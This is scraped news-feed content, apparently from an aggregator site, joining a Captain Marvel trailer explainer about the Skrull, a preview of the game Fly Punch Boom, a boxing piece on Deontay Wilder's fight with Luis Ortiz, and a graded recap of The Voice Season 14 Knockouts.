The latter species are shapeshifters, who can assume any form.

Not only can they shapeshift to appear like any animate or inanimate object, but some Skrull soldiers can also mimic the superpowers of those they mirror.

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While the old lady may look like an old lady, she was – in all likelihood – a Skrull in disguise.

Given Captain Marvel is caught in the middle of the war, on the side of the Kree, it makes perfect sense she would attack a Skrull.

Of course, if she was mistaken and the old lady was just an old lady, Captain Marvel has got some explaining to do.

Separate to the Marvel Cinematic Universe, the Skrull have, in the history of the comics, been at war with the Kree for thousands of years.

The Kree are familiar to movie fans from the first Guardians of the Galaxy movie, which introduced us to Ronan the Accuser (Lee Pace) and Korath the Pursuer (Djimon Hounsou)

Both are reprising their roles for Captain Marvel and can be glimpsed in the trailer if you pay close enough attention.

The conflict between the two alien species covers plenty of ground, including Earth.

From the trailer, it appears Talos, the Skrull leader played by Ben Mendelsohn featured in the image below (left), will be hiding in plain sight as a S.H.I.E.L.D. agent.

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Since Captain Marvel is not an origin story, and by the time we have caught up with her she’s a seasoned member of Starforce, her action against a suspected Skrull soldier is wholly acceptable.

The moment in the trailer is one of the few comedic scenes audiences are treated to.

Captain Marvel looks to be a much more serious movie than previous Marvel outings like Thor: Ragnarok and Guardians of the Galaxy.

To be sure, fans will have to wait for the movie to land in cinemas.

Captain Marvel will be in cinemas on March 8, 2019.

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]]> https://briefnews.eu/captain-marvel-trailer-why-did-captain-marvel-punch-an-old-lady-on-a-train/feed/ 0 Punch Your Friends Through Buildings In Over-The-Top Brawler Fly Punch Boom! https://briefnews.eu/punch-your-friends-through-buildings-in-over-the-top-brawler-fly-punch-boom/ https://briefnews.eu/punch-your-friends-through-buildings-in-over-the-top-brawler-fly-punch-boom/#respond Tue, 15 May 2018 08:18:08 +0000 http://briefnews.eu/punch-your-friends-through-buildings-in-over-the-top-brawler-fly-punch-boom/ fly-punch-boom-screenshot-3.jpg
If you know anything about Dragon Ball Z, you’re probably know it for the moments of mountain-shattering, world-cracking, energy-unleashing fighting. But beyond the actual licensed games, few games have attempted to capture the destruction and dynamic nature of those fights, besides a few freeware games and the charged punching action of Aces Wild.

Fly Punch Boom looks like it could change that, if its colorful cartoonish displays of planet shattering blows are any indication.

Described as “everything you’ve seen in your favorite anime fights”, Fly Punch Boom forgoes complex button combos for a simpler rock-paper-scissor dance of punch, counter, and throw, letting you use the buildings and other environmental objects as weapons to compliment your face-deforming blows. Charging at you opponent like a comet with the right timing to unleash special attacks annihilate the stages even more, along with slow-motion highlights for the most devastating moves (potentially followed by your opponent crashing through multiple buildings).

Whether it’s in solo story and arcade modes or multiplayer battles, Fly Punch Boom‘s zany style is on full display through its ridiculous stage-specific finishers. The trailer showcases a few, like punching your enemy so hard into a planet that it cracks in half or sends them flying out of the atmosphere into the moon’s…butt. It’s that kind of weird and wild game.

Fly Punch Boom is slated to release sometime this year on PC. For more details on the game and developer Jollypunch Games, visit their official site, Twitter, and Facebook pages.

]]> https://briefnews.eu/punch-your-friends-through-buildings-in-over-the-top-brawler-fly-punch-boom/feed/ 0 Deontay Wilder came within ONE PUNCH of Luis Ortiz defeat – Anthony Joshua talks impacted https://briefnews.eu/deontay-wilder-came-within-one-punch-of-luis-ortiz-defeat-anthony-joshua-talks-impacted/ https://briefnews.eu/deontay-wilder-came-within-one-punch-of-luis-ortiz-defeat-anthony-joshua-talks-impacted/#respond Tue, 03 Apr 2018 08:31:14 +0000 http://briefnews.eu/deontay-wilder-came-within-one-punch-of-luis-ortiz-defeat-anthony-joshua-talks-impacted/

That is the view of boxing expert Steve Bunce, who relived the Bronze Bomber’s dramatic win over 38-year-old Cuban Ortiz on the BBC’s 5 Live Boxing podcast this week.

“When you watch it again, without commentary and without knowing the result, Wilder actually looks like he is stopped at the end of one round,” Bunce said.

“You know he is not stopped because he manages to stop Ortiz two or three rounds later.

“But watching it in silence and watching it as if for the very first time, you would not have complained [if it had been stopped].

“Sometimes when we look at Deontay Wilder is, we know he’s got a great record and his people are hard to deal with – but what we don’t talk about is last time out, he came within a second or one punch of losing.

“A second or one punch. Whether that actually adds or detracts from the negotiating table when Eddie Hearn gets to America, I don’t know. But it should be a factor.”

Following a slow start that earned a ripple of boos from a restless – and, tellingly, under-capacity – crowd at the Barclays Centre in Brooklyn, the heavyweight showdown burst into life in the fifth round.

Wilder (40-0, 39 KOs) found a home with his bazooka right hand to knock Ortiz down in the fifth round but was unable to put the veteran away before the bell.

However, the fight was turned on its head in the seventh as Ortiz threatened to blow the 32-year-old away with a tornado of combinations that had Wilder all but out on his feet against the ropes.

Another clean strike would surely have ended the contest – but again, the clock came to the rescue as the bell sounded for the end of the round.

Wilder was in cruise control for the eighth, managing to recover in time to launch another attack in the 10th.

In the end, it could be said that he outlasted rather than outmanoeuvred his wily opponent – but the result stayed the same.

With now Joshua having emerged unscathed from his heavyweight unification clash with Joseph Parker, Wilder’s team now appear more keen than ever to negotiate a money-spinning showdown.

Wilder’s co-managers, Jay Deas and Shelley Finkel, both issued statements yesterday demanding talks with the former Olympic gold medallist.

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]]> https://briefnews.eu/deontay-wilder-came-within-one-punch-of-luis-ortiz-defeat-anthony-joshua-talks-impacted/feed/ 0 The Voice Recap: Who Packed a Punch With Their Knockout Performance? https://briefnews.eu/the-voice-recap-who-packed-a-punch-with-their-knockout-performance/ https://briefnews.eu/the-voice-recap-who-packed-a-punch-with-their-knockout-performance/#respond Tue, 03 Apr 2018 06:55:48 +0000 http://briefnews.eu/the-voice-recap-who-packed-a-punch-with-their-knockout-performance/ Your days are numbered, Jaron Strom. The Voice on Monday began its Season 14 Knockouts, aka the rounds designed to discharge the last of the coaches’ cannon fodder prior to the Playoffs. So, before sitting down and tuning in, I was thinking that Jaron would soon be jettisoned from Team Blake, Gary Edwards would be dropped from Team Adam, Dallas Caroline’s nerves would at last be settled by her elimination from Team Alicia, and Jamella would get cut from Team Kelly (probably in a montage like both her Blind Audition and her Battle, poor thing!). Who actually got knocked out when past winners Jordan Smith, Chloe Kohanski, Chris Blue and Cassadee Pope returned to help prepare, respectively, Team Adam, Team Blake, Team Alicia and Team Kelly? And which contestant moved every single coach to try to keep her in the contest? Read on…

Team Blake: Kyla Jade singing “You Don’t Own Me” (Grade: A-) defeated Jaclyn Lovey singing “Put Your Records On” (Grade: D) | Singing first, Jaclyn — one of my absolute favorites this season — stumbled so badly, I couldn’t believe that she managed to finish her Corinne Bailey Rae cover with that sweet smile still on her face. She had to know it was a disaster, right? She was so pitchy, it made me genuinely sad; I (correctly, it turned out) feared she’d neither get saved by Blake nor stolen by another coach. Now then, Miss Kyla… In the comments, you’ve mentioned before that you felt, even when she was in the spotlight, she still carried herself like a backing vocalist. Well, I don’t think any of us can say that tonight. Though Lesley Gore seemed on paper like an awfully tame artist for Kyla to cover, by the time she started belting those choruses, man, did I get it. She wasn’t playing to the back of the auditorium, she was playing to the freaking parking lot. I know she was a little out of control at times, but frankly, that was part of the appeal. She left it all on the stage.

the voice recap mia boostrom jackie foster knockoutsTeam Kelly: Kaleb Lee singing “Free” (Grade: A-) defeated Justin Kilgore singing “Shameless” (Grade: C) | First at the mic, Kaleb made me wonder if I haven’t been underestimating him all this time. He’s not a showman like, say, Pryor Baird, but maybe what we get from Kaleb is sincerity a la Red Marlow. That was certainly who he reminded me of on his soft-as-denim Zac Brown Band cover. Was it a roof-raising barn-burner? No, but it tap-tap-tapped at my cold heart, and I have a weird feeling I’ll still be humming it Tuesday. (Now if we could just get him to fall back a smidgen less on his nice-dad-showing-off-his-cute-kids shtick. I’m sure it’s genuine and all, but it plays like a ploy, and one he doesn’t need.) As for Justin, in rehearsal, he explained that he intended to pack a lot of emotion into his Garth Brooks cover. Which sounded fine in theory, except that Justin has a slight tendency to come off overwrought. On stage, he kept it together for almost the whole song, then — d’oh! — kind of fell apart at the end. Once he failed to land that one painful note, he never managed to recover, so he was left poised to end the song on a metaphorically low note.

the voice recap mia boostrom jackie foster knockoutsTeam Adam: Mia Boostrom singing “Wade in the Water” (Grade: A+) defeated Jackie Foster singing “Bring Me to Life” (Grade: B) — Jackie stolen by Alicia | Up first, Jackie sang the verses of her Evanescence cover like she was taking the song’s title as an instruction — she brought that shizz to life, gorgeous, ethereal life. But on the choruses, though she hit those massive notes for which she’s so well-regarded, she overall fell a little flat. She wasn’t off, per se, she just didn’t seem on. (Maybe the hook’s call-and-response arrangement, without another performer actually being on stage to do the calls, made it extra hard not to come off karaoke-ish?) Mia, on the other hand, wasn’t just on, she was spot on. During her turn in the spotlight, she was a revelation, serving Jane Monheit realness as if she’d just wandered in from the Montreux Jazz Festival. Jackie was the contestant who inspired Adam to use his Save, and Blake, Alicia and Kelly to attempt to Steal, but for me, this Knockout was all about Mia. Her performance was powerful. Beautiful. Flawless.

the voice recap mia boostrom jackie foster knockoutsTeam Blake: Spensha Baker singing “Broken Halos” (Grade: B-) defeated Austin Giorgio singing “Almost Like Being in Love” (Grade: B+) — Austin saved by Blake | As much as I love the idea of an old-school crooner being on The Voice, that’s about how much I love Austin’s execution of the classics. The slick whippersnapper sounds like he just stepped out of a time machine to introduce himself as a heretofore-secret member of the Rat Pack. On his Nat King Cole cover, Austin’s voice was as smooth as silk sheets, and he didn’t just own the song, he owned the stage, incorporating some fancy footwork into his performance along with vocal gymnastics. That said, going forward, he will have to watch how much bopping around he does, because as it did here, it can impact the flow of his singing. When Spensha took her turn in the spotlight, she traded the whiskey of Chris Stapleton’s song for bourbon. Unfortunately, as rich as her voice was, she seemed to be struggling. Perhaps she was just trying to keep from crying, since the ballad reminded her of a friend who recently passed away? She’s a helluva singer, this just wasn’t her most nuanced performance.

the voice recap mia boostrom jackie foster knockoutsTeam Alicia: Johnny Bliss singing “Alive” (Grade: B+) defeated Miya Bass singing “Castle on the Hill” (Grade: D) | As far as I can tell, Johnny is the human equivalent of a music producer’s soundboard — push a button, and out of him springs yet another ear-popping note. Want a falsetto? Click. There it is. Want some power from his pipes? Click. There it is. Want vulnerability to prove he isn’t really a machine? Click. There it is. On his Sia cover, Johnny just about emptied his bag of tricks, going from whispery-soft vocals to notes so big and forceful that the producers had to have begun considering seatbelts to keep the audience from being knocked out of their chairs. Toward the end, yes, he struggled, holding onto that last long note by a thread. But this was still a pretty dazzling reminder of why he’s a favorite (at least of mine). When Miya took to the mic… WTH? This was not the Miya that we’d been watching since the Blinds. She hit so many bum notes that even the coaches struggled to find anything more positive to say than, basically, “You’re better than this.”

the voice recap mia boostrom jackie foster knockoutsTeam Adam: Jackie Verna singing “American Honey” (Grade: B) defeated Drew Cole singing “Slow Hands” (Grade: B+) — Drew saved by Adam | So poptastically polished was Drew’s rendition of this Niall Horan hit that, from the get-go, it sounded like the one direction he was headed in was forward. And it wasn’t just that, as usual, Drew maintained admirable control of his memorable voice, either. On top of that, his vocals were dead sexy, as casual and confident as the look on someone’s face when they know they’re about to get lucky. Even his big, showoffy note was casual, like, “Yeah, I can hit that. No sweat.” For her part, Jackie recovered nicely from her and Stephanie Skipper’s nightmarishly yelly “These Dreams” duet in the Battles by bringing to the Knockouts a much softer country number. Instead of challenging Jackie to sing louder than anybody else, this Lady Antebellum fave simply showcased her lovely, pure vocals, which here generally sounded as warm as the summer sun feels. And I had to give her bonus points for describing her sound as poultry — a mix of pop, soul and country.

So, who were you sorry/surprised to see get the chop? Who really knocked you out? Vote in the poll below, then hit the comments.

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